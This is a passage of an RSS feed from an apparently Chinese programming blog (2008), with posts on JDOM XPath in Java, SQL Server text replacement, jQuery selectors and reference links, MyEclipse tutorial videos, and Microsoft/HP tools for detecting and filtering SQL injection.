mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;现在我们开始使用&lt;span&gt;XPATH&lt;/span&gt;结合&lt;span&gt;JDOM&lt;/span&gt;来操作&lt;span&gt;XML&lt;/span&gt;文件了。&lt;span&gt;JDOM&lt;/span&gt;的关于&lt;span&gt;XPATH&lt;/span&gt;的&lt;span&gt;api&lt;/span&gt;只有一个类：&lt;span&gt;Xpath.java&lt;/span&gt;，在&lt;span&gt;org.jdom.xpath&lt;/span&gt;这个包中。这个类中的核心方法主要是两个静态方法&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;selectNodes()&lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;和&lt;span&gt;selectSingleNode()&lt;/span&gt;。前者根据一个&lt;span&gt;xpath&lt;/span&gt;语句返回一组节点&lt;span&gt;:List&lt;/span&gt;；后者根据一个&lt;span&gt;xpath&lt;/span&gt;语句返回符合条件的第一个节点&lt;span&gt;:Object&lt;/span&gt;。&lt;span&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  public static List selectNodes(Object arg1,String arg2) throws org.jdom.JDOMException;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  public static Object selectSingleNode(Object arg1,String arg2) throws org.jdom.JDOMException;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;在使用&lt;span&gt;XPATH&lt;/span&gt;之前，请先确定你的&lt;span&gt;classpath&lt;/span&gt;路径里面有如下几个&lt;span&gt;JAR&lt;/span&gt;包，如果没有，请从&lt;span&gt;JDOM&lt;/span&gt;的发行包中&lt;span&gt;lib&lt;/span&gt;目录下&lt;span&gt;copy:&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  saxpaht.jar&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  jaxen-core.jar&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  jaxen-jdom.jar&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;样列&lt;span&gt;JAVA&lt;/span&gt;代码：&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;package cyberobject.com.xpath;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;import java.io.IOException;&lt;br&gt;import java.util.List;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;import org.jdom.Document;&lt;br&gt;import org.jdom.Element;&lt;br&gt;import org.jdom.Text;&lt;br&gt;import org.jdom.JDOMException;&lt;br&gt;import org.jdom.input.SAXBuilder;&lt;br&gt;import org.jdom.xpath.XPath;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&lt;br&gt;public class XpathSample {&lt;br&gt;public static void main(String[] args) throws JDOMException, IOException{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  SAXBuilder sb = new SAXBuilder();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Document doc = sb.build(&amp;quot;friends.xml&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Element root = doc.getRootElement();&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  List list = XPath.selectNodes(root,&amp;quot;/friends/friend&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[info] Friends List:&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  for(int ii = 0; ii &amp;lt; list.size(); ii++){&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  Element element = (Element)list.get(ii);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String number = element.getAttributeValue(&amp;quot;number&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue"&gt;//String name = element.getChildText(&amp;quot;name&amp;quot;);&lt;br&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String name = ( (Text) XPath.selectSingleNode(element,&amp;quot;//friend[@number='&amp;quot; + number + &amp;quot;']/name/text()&amp;quot;)).getTextNormalize();&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue"&gt;//String sex = element.getChild(&amp;quot;sex&amp;quot;).getAttributeValue(&amp;quot;value&amp;quot;);&lt;/span&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String sex = ((Element)XPath.selectSingleNode(element,&amp;quot;//friend[@number='&amp;quot; + number + &amp;quot;']/sex&amp;quot;)).getAttributeValue(&amp;quot;value&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;span style="color: blue"&gt;//String phone = element.getChildText(&amp;quot;phone&amp;quot;);&lt;br&gt;&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  String phone = ( (Text) XPath.selectSingleNode(element,&amp;quot;//friend[@number='&amp;quot; + number + &amp;quot;']/phone/text()&amp;quot;)).getText();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;No.&amp;quot;+number);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot; Name:[&amp;quot; + name + &amp;quot;]&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot; Sex:[&amp;quot; + sex + &amp;quot;]&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot; Phone:[&amp;quot; + phone + &amp;quot;]&amp;quot;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println();&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  }&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  System.out.println(&amp;quot;[info] End of Friends List.&amp;quot;);&lt;br&gt;}&lt;br&gt;}&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;输出结果：&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;[info] Friends List:&lt;br&gt;No.1&lt;br&gt;Name:[zoof]&lt;br&gt;Sex:[male]&lt;br&gt;Phone:[87654321]&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;No.2&lt;br&gt;Name:[joe]&lt;br&gt;Sex:[male]&lt;br&gt;Phone:[87654322]&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;No.3&lt;br&gt;Name:[joe]&lt;br&gt;Sex:[female]&lt;br&gt;Phone:[87654323]&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;[info] End of Friends List.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=154</guid><pubDate>Mon, 14 Jul 2008 13:01:00 GMT</pubDate></item><item><title>[SQL SERVER]数据库Text字段替换【含2000和2005】</title><link>http://www.chendw.cn:8080/view.aspx?id=153</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;//SQL替换text串&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  --2005&lt;br&gt; update&amp;nbsp;&amp;nbsp;  SYS_SubjAttr&amp;nbsp;&amp;nbsp;  set&amp;nbsp;&amp;nbsp;  description =REPLACE(convert(varchar(8000), description),&amp;nbsp;&amp;nbsp;  '/web/inc','/BJLY/inc')&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  ------------------------------------------------------------------------------------------------------------------------&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; --2000&lt;br&gt; /*&lt;br&gt; author:amjn&lt;br&gt; date:2003-03-28&lt;br&gt; version:1.0&lt;br&gt; function:替换text,ntext列中的字符串(不支持中文)&lt;/p&gt;&lt;p&gt; */&lt;br&gt; declare @ptr varbinary(16)&lt;br&gt; declare @amjnId int&lt;br&gt; declare @Position int,@len int&lt;br&gt; set @len=datalength('ILOVEHJL')　　&lt;br&gt; declare wux_Cursor scroll Cursor&lt;br&gt; for &lt;br&gt; select textptr([Name]),[amjnId] from USA201&lt;br&gt; for read only&lt;br&gt; open wux_Cursor&lt;br&gt; fetch next from wux_Cursor into @ptr,@amjnId&lt;br&gt; while @@fetch_status=0&lt;br&gt; begin&lt;br&gt; 　　select @Position=patindex('%ILOVEHJL%',[Name]) from USA201 where [amjnId]=@amjnId&lt;br&gt; 　　while @Position&amp;gt;0&lt;br&gt; 　　begin&lt;br&gt; 　　　　set @Position=@Position-1&lt;br&gt; 　　　　updatetext USA201.[Name] @ptr @Position @len 'i love hjl'&lt;br&gt; 　　　　select @Position=patindex('%ILOVEHJL%',[Name]) from USA201 where [amjnId]=@amjnId&lt;br&gt; 　　end&lt;br&gt; 　　fetch next from wux_Cursor into @ptr,@amjnId&lt;br&gt; end&lt;br&gt; close wux_cursor&lt;br&gt; deallocate wux_cursor&lt;br&gt; go&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=153</guid><pubDate>Sat, 12 Jul 2008 16:58:00 GMT</pubDate></item><item><title>[JQuery]jQuery 1.2 API 参考文档[中文版]</title><link>http://www.chendw.cn:8080/view.aspx?id=152</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;jQuery 1.2 API 参考文档中文版&lt;/p&gt;&lt;p&gt;在线版：&lt;a href="http://shawphy.com/jqueryapi/"&gt;http://shawphy.com/jqueryapi/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;离线版：&lt;a href="http://shawphy.com/jqueryapi/jqueryapi12.zip"&gt;http://shawphy.com/jqueryapi/jqueryapi12.zip&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=152</guid><pubDate>Wed, 09 Jul 2008 03:26:00 GMT</pubDate></item><item><title>[web]阻止网页挂马的若干工具[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=151</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;上个blog中提到国内网站被挂马的常见原因是SQL注入攻击。&lt;/p&gt;&lt;p&gt;那么，除了在Web开发的时候注意以外，有什么有效的工具可以对抗SQL注入攻击？&lt;/p&gt;&lt;p&gt;今天，微软和惠普的安全部门合作发布了三个工具，分别是：&lt;/p&gt;&lt;p&gt;微软SQL注入攻击源码扫描器：Microsoft Source Code Analyzer for SQL Injection (MSCASI)。这个工具给网站开发人员使用。是一个静态扫描ASP代码的工具，可以查找发现第一类和第二类的SQL注入攻击漏洞。工具下载地址：&lt;/p&gt;&lt;p&gt;&lt;a href="http://support.microsoft.com/kb/954476"&gt;http://support.microsoft.com/kb/954476&lt;/a&gt;&lt;/p&gt;&lt;p&gt;惠普的 Scrawlr工具。这个工具可以被网站的维护人员使用，是一个黑箱扫描工具，不需要源代码。指定起始URL开始扫描。缺点是不能准确定位代码的漏洞（因为是黑箱测试）。工具下载地址：&lt;/p&gt;&lt;p&gt;&lt;a href="http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx"&gt;http://www.communities.hp.com/securitysoftware/blogs/spilabs/archive/2008/06/23/finding-sql-injection-with-scrawlr.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;微软的URLScan 3.0 Beta。这个工具可以被网站的维护人员使用。它是一个输入过滤工具。如果你发现网站被SQL注入工具，你可以在一边修补代码漏洞的同时，使用这个攻击在过滤掉恶意的输入。当然，修补代码中的漏洞是完全避免SQL注入攻击的真正解决方案。工具下载地址：&lt;/p&gt;&lt;p&gt;&lt;a href="http://blogs.iis.net/wadeh/archive/2008/06/05/urlscan-v3-0-beta-release.aspx"&gt;http://blogs.iis.net/wadeh/archive/2008/06/05/urlscan-v3-0-beta-release.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;SWI的博客上有更进一步的描述。&lt;a href="http://blogs.technet.com/swi/archive/2008/06/24/new-tools-to-block-and-eradicate-sql-injection.aspx"&gt;http://blogs.technet.com/swi/archive/2008/06/24/new-tools-to-block-and-eradicate-sql-injection.aspx&lt;/a&gt;&lt;/p&gt;&lt;p&gt;那么，这三个工具是如何配合使用的？下面给出一个例子。&lt;/p&gt;&lt;p&gt;步骤一：网站的维护人员使用Scrawlr扫描网站，检查是否存在SQL注入漏洞&lt;/p&gt;&lt;p&gt;步骤二：发现存在漏洞后，通知开发人员。开发人员使用MSCASI对ASP源码静态扫描来确定代码中什么地方导致的SQL注入攻击漏洞。&lt;/p&gt;&lt;p&gt;步骤三：在开发人员修补漏洞的同时，维护人员可以使用URLScan来过滤可能的恶意输入，以确保网站的安全。&lt;/p&gt;&lt;p&gt;这三个工具的配合使用可以很大程度上减少网站被挂马的可能。说实话，现在被挂马的网站实在是太多了！&lt;/p&gt;&lt;p&gt; &lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=151</guid><pubDate>Tue, 08 Jul 2008 04:29:00 GMT</pubDate></item><item><title>MyEclipse 5.5 开发 Spring + Struts + Hibernate 的详解视频(长1.5小时)</title><link>http://www.chendw.cn:8080/view.aspx?id=150</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt; &lt;/p&gt;&lt;div class="posttitle"&gt; &lt;/div&gt;&lt;p&gt;第一部分: Struts 开发 6.83MB 22分36秒 &lt;a href="http://beansoft.java-cn.org/download/ssh_1_struts.exe"&gt;http://beansoft.java-cn.org/download/ssh_1_struts.exe&lt;/a&gt;&lt;/p&gt;&lt;p&gt;第二部分: Hibernate + Spring 11.5MB 38分59秒 &lt;a href="http://beansoft.java-cn.org/download/ssh_2_hibernate_spring.exe"&gt;http://beansoft.java-cn.org/download/ssh_2_hibernate_spring.exe&lt;/a&gt;&lt;/p&gt;&lt;p&gt;第三部分: 自己实现 SpringProxyAction 5.05MB 14分25秒 &lt;a href="http://beansoft.java-cn.org/download/ssh_3_struts_proxy_asm.exe"&gt;http://beansoft.java-cn.org/download/ssh_3_struts_proxy_asm.exe&lt;/a&gt;&lt;/p&gt;&lt;p&gt;第四部分: ASM 错误解决及用 Spring 的代理实现整合 9.95MB 23分49秒 &lt;a href="http://beansoft.java-cn.org/download/ssh_4_spring_struts.exe"&gt;http://beansoft.java-cn.org/download/ssh_4_spring_struts.exe&lt;/a&gt;&lt;/p&gt;&lt;p&gt;大纲 PDF 下载: &lt;a href="http://beansoft.java-cn.org/download/spring_struts_hibernate.pdf"&gt;http://beansoft.java-cn.org/download/spring_struts_hibernate.pdf&lt;/a&gt; 427KB&lt;/p&gt;&lt;p&gt;代码下载(不带类库): &lt;a href="http://beansoft.java-cn.org/download/myssh.rar"&gt;http://beansoft.java-cn.org/download/myssh.rar&lt;/a&gt; 45KB&lt;/p&gt;&lt;p&gt;详细请浏览：&lt;a href="http://www.blogjava.net/beansoft/archive/2007/10/07/150877.html"&gt;http://www.blogjava.net/beansoft/archive/2007/10/07/150877.html&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=150</guid><pubDate>Tue, 01 Jul 2008 06:09:00 GMT</pubDate></item><item><title>[Jquery]jQuery 选择器的使用[转]</title><link>http://www.chendw.cn:8080/view.aspx?id=149</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;最近开始在项目里使用jQuery，发现这个JS框架虽然是轻量级的但用起来十分的爽，嘿嘿 ~~~&lt;/p&gt;&lt;p&gt;尤其喜欢选择器的用法如下：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sQuery = &amp;quot;input[@type=radio][@name=&amp;quot;+sId+&amp;quot;][@value=&amp;quot;+sText+&amp;quot;]&amp;quot;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $(sQuery).attr(&amp;quot;checked&amp;quot;,&amp;quot;true&amp;quot;);&lt;/p&gt;&lt;p&gt;下面转载一篇JQuery详细的用法&lt;/p&gt;&lt;p&gt;jQuery的选择器是CSS 1-3，XPath的结合物。jQuery提取这二种查询语言最好的部分，融合后创造出了最终的jQuery表达式查询语言。如果你了解CSS（绝大部分WEB开发者都用到的），那么你学起来就很容易了。&lt;br&gt;&lt;strong&gt;同时使用CSS和XPath&lt;/strong&gt;&lt;br&gt;看几个例子：&lt;br&gt;隐藏所有包含有链接的段落：&lt;br&gt;$(&amp;rdquo;p[a]&amp;rdquo;).hide();&lt;br&gt;显示页面的第一个段落：&lt;br&gt;$(&amp;rdquo;p:eq(0)&amp;rdquo;).show()&lt;br&gt;隐藏所有当前可见的层元素&lt;br&gt;$(&amp;rdquo;div:visible&amp;rdquo;).hide();&lt;/p&gt;&lt;p&gt;获取所有无序列表的列表项&lt;br&gt;$(&amp;rdquo;ul/li&amp;rdquo;) /* 等价于: $(&amp;rdquo;ul &amp;gt; li&amp;rdquo;) */&lt;/p&gt;&lt;p&gt;取得name值为bar的输入字段的值：&lt;br&gt;$(&amp;rdquo;input[@name=bar]&amp;rdquo;).val();&lt;/p&gt;&lt;p&gt;所有处于选中状态的单选r按钮：&lt;br&gt;$(&amp;rdquo;input[@type=radio][@checked]&amp;rdquo;)&lt;br&gt;如果你对查询语言的工作原理还有疑问，可以&lt;a href="http://jquery.com/discuss/" target="_blank"&gt;订阅这里的邮件列表&lt;/a&gt;。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;CSS查询器&lt;/strong&gt;&lt;br&gt;jQuery完全支持CSS1.3。关于CSS的一些资料查看下面的连接：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;a href="http://www.w3.org/TR/REC-CSS1#basic-concepts"&gt;CSS 1&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.w3.org/TR/REC-CSS2/selector.html"&gt;CSS 2&lt;/a&gt;&lt;/li&gt;    &lt;li&gt;&lt;a href="http://www.w3.org/TR/2005/WD-css3-selectors-20051215/"&gt;CSS 3&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;下面列出来的是支持的CSS查询器的列表式语法：&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;* 任何元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E&lt;/strong&gt; 类型为E的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E&lt;/strong&gt;:root 类型为E，并且是文档的根元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:nth-child(n)&lt;/strong&gt; 是其父元素的第n个类型为E的子元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:first-child &lt;/strong&gt;是其父元素的第1个类型为E的子元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:last-child&lt;/strong&gt; 是其父元素的最后一个类型为E的子元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:only-child&lt;/strong&gt; 且是其父元素的唯一一个类型为E的子元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:empty&lt;/strong&gt; 没有子元素（包括text节点）的类型为E的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:enabled&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:disabled&lt;/strong&gt; 类型为E，允许或被禁止的用户界面元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:checked&lt;/strong&gt; 类型为E，处于选中状态的用户界面元素（例如单选按钮或复选框）&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E.warning&lt;/strong&gt; 类型为E，且class属性值为warning&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E#myid&lt;/strong&gt; 类型为E，ID为 &amp;ldquo;myid&amp;rdquo;。（至多匹配一个元素）&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:not(s)&lt;/strong&gt; 类型为E，不匹配选择器s&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E F&lt;/strong&gt; 在类型E后面的类型为F的元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E &amp;gt; F&lt;/strong&gt; 为E元素子元素的F元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E + F&lt;/strong&gt; an F element immediately preceded by an E element&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E ~ F&lt;/strong&gt; an F element preceded by an E element&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;不同之处&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;所有的属性选择器都被写成和XPath极其相似（因为所有的属性都以@符号开始）。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;E[@foo]&lt;/strong&gt; 拥有foo属性的E元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E[@foo=bar]&lt;/strong&gt; foo属性的值为bar的E元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E[@foo^=bar]&lt;/strong&gt; foo属性的值以字符串&amp;rdquo;bar&amp;rdquo;开始的E元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E[@foo$=bar]&lt;/strong&gt; foo属性的值以字符串&amp;rdquo;bar&amp;rdquo;结尾的E元素&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E[@foo*=bar]&lt;/strong&gt; foo属性的值包含有字符串&amp;rdquo;bar&amp;rdquo;结尾的E元素&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;不支持的部分&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;E:link&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:visited&lt;/strong&gt; an E element being the source anchor of a hyperlink of which the target is not yet visited (:link) or already visited (:visited)&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:active&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:hover&lt;/strong&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:focus&lt;/strong&gt; an E element during certain user actions&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:target&lt;/strong&gt; an E element being the target of the referring URI&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E::first-line&lt;/strong&gt; the first formatted line of an E element&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E::first-letter&lt;/strong&gt; the first formatted letter of an E element&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E::selection&lt;/strong&gt; the portion of an E element that is currently selected/highlighted by the user&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E::before&lt;/strong&gt; generated content before an E element&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E::after&lt;/strong&gt; generated content after an E element&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;jQuery不支持下列的选择器，因为这些没什么用处。&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;E:nth-last-child(n)&lt;/strong&gt; an E element, the n-th child of its parent, counting from the last one&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:nth-of-type(n)&lt;/strong&gt; an E element, the n-th sibling of its type&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:nth-last-of-type(n)&lt;/strong&gt; an E element, the n-th sibling of its type, counting from the last one&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:first-of-type&lt;/strong&gt; an E element, first sibling of its type&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:last-of-type&lt;/strong&gt; an E element, last sibling of its type&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:only-of-type&lt;/strong&gt; an E element, only sibling of its type&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;E:lang(fr)&lt;/strong&gt; an element of type E in language &amp;ldquo;fr&amp;rdquo;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;XPath 查询器&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;XPath是jQuery内置支持的一种表达式语言。jQuery支持基本的&lt;a href="http://www.w3.org/TR/xpath"&gt;XPath表达&lt;/a&gt;式。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;定位路径&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;    &lt;li&gt;绝对路径&lt;br&gt;    $(&amp;rdquo;/html/body//p&amp;rdquo;)&lt;br&gt;    $(&amp;rdquo;/*/body//p&amp;rdquo;)&lt;br&gt;    $(&amp;rdquo;//p/../div&amp;rdquo;)&lt;/li&gt;    &lt;li&gt;相对路径&lt;br&gt;    $(&amp;rdquo;a&amp;rdquo;,this)&lt;br&gt;    $(&amp;rdquo;p/a&amp;rdquo;,this)&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;strong&gt;支持的Axis选择器&lt;/strong&gt;&lt;/pre&gt;&lt;ul&gt;    &lt;li&gt;&lt;strong&gt;Descendant&lt;/strong&gt; Element has a descendant 